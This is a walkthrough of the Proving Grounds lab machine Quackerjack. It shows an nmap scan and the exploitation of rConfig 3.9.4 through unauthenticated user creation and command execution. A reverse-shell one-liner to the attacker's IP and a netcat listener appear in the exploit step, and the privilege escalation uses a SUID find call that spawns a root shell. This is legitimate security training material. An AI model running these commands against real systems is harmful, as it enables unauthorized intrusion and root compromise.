> For the complete documentation index, see [llms.txt](https://walkthroughs.cyanidesecurity.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://walkthroughs.cyanidesecurity.com/proving-grounds/quackerjack.md). # Quackerjack ## Intro This machine was running a version of the rConfig service which was vulnerable to unathenticated user creation, followed by authenticated remote command execution. After achieving initial access, privilege escalation was achieved by leveraging the /usr/bin/find SUID binary. ## Initial Foothold We begin by running an nmap scan on the target. ``` # Nmap 7.94SVN scan initiated Fri Nov 1 09:28:42 2024 as: nmap -p- -sV -sC -oA nmap/fulltcp -vv quackerjack.pg Nmap scan report for quackerjack.pg (192.168.163.57) Host is up, received echo-reply ttl 61 (0.050s latency). Scanned at 2024-11-01 09:28:42 CDT for 180s Not shown: 65527 filtered tcp ports (no-response) PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.2 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.45.234 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.2 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: TIMEOUT 22/tcp open ssh syn-ack ttl 61 OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 a2:ec:75:8d:86:9b:a3:0b:d3:b6:2f:64:04:f9:fd:25 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWsUPf+lVe3JddBDNBbM3vSxW2Nbl7ZniBHSy2r7B9KN42uteBJeZtPoxcBGPEcUv4ZZQ7CrIyKEqNjpz4QfryIb9Ta4ehTJNumQCXV2r2VsLDYCK0C+FjOwc++o/iqUOPm48NNO3s//vhb33VZ1g5dnEnXQ68jdJ3G382+cVfcWj6WSZLS1hk7HLq2lYrTZD6krJ1eEZxgIb6YiXnSruEtntEpiEy5c92yh3KFnvVhgwNJe/WyNpXLrE4I66lX5EWhTAhw/6373RL/3efGsptmwhb7wrMXdscic/JOmUMUKYPRVl7KGMik0kjVH/rXpEpTjUONQ+3DhuT7khuB5MF | 256 b6:d2:fd:bb:08:9a:35:02:7b:33:e3:72:5d:dc:64:82 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMT94WFh/L5UMkSoHb0Obh3JTETeKzHNMKfnuJleky0X/AEbM+TV5WCsd7GcWfhfsFxK1xyK9iyNzmKmShy3Fk8= | 256 08:95:d6:60:52:17:3d:03:e4:7d:90:fd:b2:ed:44:86 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIANg5sdcd3U3DkheWc10jhSTJbOSE7Lqtyu+yQhLuywl 80/tcp open http syn-ack ttl 61 Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16) |_http-title: Apache HTTP Server Test Page powered by CentOS |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 | http-methods: | Supported Methods: GET HEAD POST OPTIONS TRACE |_ Potentially risky methods: TRACE 111/tcp open rpcbind syn-ack ttl 61 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind |_ 100000 3,4 111/udp6 rpcbind 139/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: SAMBA) 445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.10.4 (workgroup: SAMBA) 3306/tcp open mysql syn-ack ttl 61 MariaDB (unauthorized) 8081/tcp open http syn-ack ttl 61 Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: 400 Bad Request |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 Service Info: Host: QUACKERJACK; OS: Unix Host script results: |_clock-skew: mean: 1h20m02s, deviation: 2h18m37s, median: 0s | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 51879/tcp): CLEAN (Timeout) | Check 2 (port 2680/tcp): CLEAN (Timeout) | Check 3 (port 34238/udp): CLEAN (Timeout) | Check 4 (port 30292/udp): CLEAN (Timeout) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked | smb-os-discovery: | OS: Windows 6.1 (Samba 4.10.4) | Computer name: quackerjack | NetBIOS computer name: QUACKERJACK\x00 | Domain name: \x00 | FQDN: quackerjack |_ System time: 2024-11-01T10:31:07-04:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb2-time: | date: 2024-11-01T14:31:03 |_ start_date: N/A Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Nov 1 09:31:42 2024 -- 1 IP address (1 host up) scanned in 180.53 seconds ``` We manually examined the HTTP services and noted that the application rConfig 3.9.4 was running on port 8081.
Searchsploit yielded several RCE exploits for this service. ``` ┌──(joe㉿kali)-[~] └─$ searchsploit rConfig ------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------- --------------------------------- Campsite 2.6.1 - 'LocalizerConfig.php?g_documentRoot' | php/webapps/30005.txt HMS HICP Protocol + Intellicom - 'NetBiterConfig.exe' | hardware/remote/10451.txt Intellicom 1.3 - 'NetBiterConfig.exe Hostname' Data Re | windows/dos/33403.py rConfig - install Command Execution (Metasploit) | linux/remote/47602.rb rConfig 3.1.1 - Local File Inclusion | php/webapps/39898.txt rConfig 3.9 - 'searchColumn' SQL Injection | php/webapps/48208.py rConfig 3.9.2 - Remote Code Execution | php/webapps/47555.py rConfig 3.9.3 - Authenticated Remote Code Execution | php/webapps/47982.py rConfig 3.9.4 - 'search.crud.php' Remote Command Injec | php/webapps/48241.py rConfig 3.9.4 - 'searchField' Unauthenticated Root Rem | php/webapps/48261.py rConfig 3.9.5 - Remote Code Execution (Unauthenticated | php/webapps/48878.py rConfig 3.9.6 - 'path' Local File Inclusion (Authentic | php/webapps/49644.txt rconfig 3.9.6 - Arbitrary File Upload | php/webapps/49783.py rConfig 3.9.6 - Arbitrary File Upload to Remote Code E | php/webapps/49665.txt rconfig 3.9.7 - Sql Injection (Authenticated) | php/webapps/51163.py rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Rem | php/webapps/48207.py Rconfig 3.x - Chained Remote Code Execution (Metasploi | linux/remote/48223.rb ------------------------------------------------------- --------------------------------- Shellcodes: No Results Papers: No Results ``` Running exploit 48878, we were able to catch a reverse shell on port 80, running as the apache user. ``` ┌──(joe㉿kali)-[~/hax/pg/quackerjack] └─$ python3 48878.py Connecting to: https://quackerjack.pg:8081/ Connect back is set to: /bin/bash -i >& /dev/tcp/192.168.45.234/80 0>&1, please launch 'nc -lv 9001' Version is rConfig Version 3.9.4 it may not be vulnerable Remote Code Execution + Auth bypass rConfig 3.9.5 by Daniel Monzón In the last stage if your payload is a reverse shell, the exploit may not launch the success message, but check your netcat ;) Note: preferred method for auth bypass is 1, because it is less 'invasive' Note2: preferred method for RCE is 2, as it does not need you to know if, for example, netcat has been installed in the target machine Choose method for authentication bypass: 1) User creation 2) User enumeration + User edit Method>1 (+) User test created Choose method for RCE: 1) Unsafe call to exec() 2) Template edit Method>1 (+) Log in as test completed (-) Error when executing payload, please debug the exploit (+) Log in as test completed (+) Payload executed successfully ``` ``` ┌──(joe㉿kali)-[~/hax/pg/quackerjack] └─$ sudo nc -lvnp 80 listening on [any] 80 ... connect to [192.168.45.234] from (UNKNOWN) [192.168.163.57] 60414 bash: no job control in this shell bash-4.2$ whoami whoami apache bash-4.2$ ``` ## Privilege Escalation Running linpeas, we discovered that the /usr/bin/find binary is SUID. GTFOBins showed that this binary does not drop privileges, and has the ability to run additional commands. Using this, we were able to execute /bin/sh as the root user. ``` bash-4.2$ ls -la /usr/bin/find ls -la /usr/bin/find -rwsr-xr-x. 1 root root 199304 Oct 30 2018 /usr/bin/find bash-4.2$ /usr/bin/find . -exec /bin/sh -p \; -quit /usr/bin/find . -exec /bin/sh -p \; -quit sh-4.2# whoami whoami root ```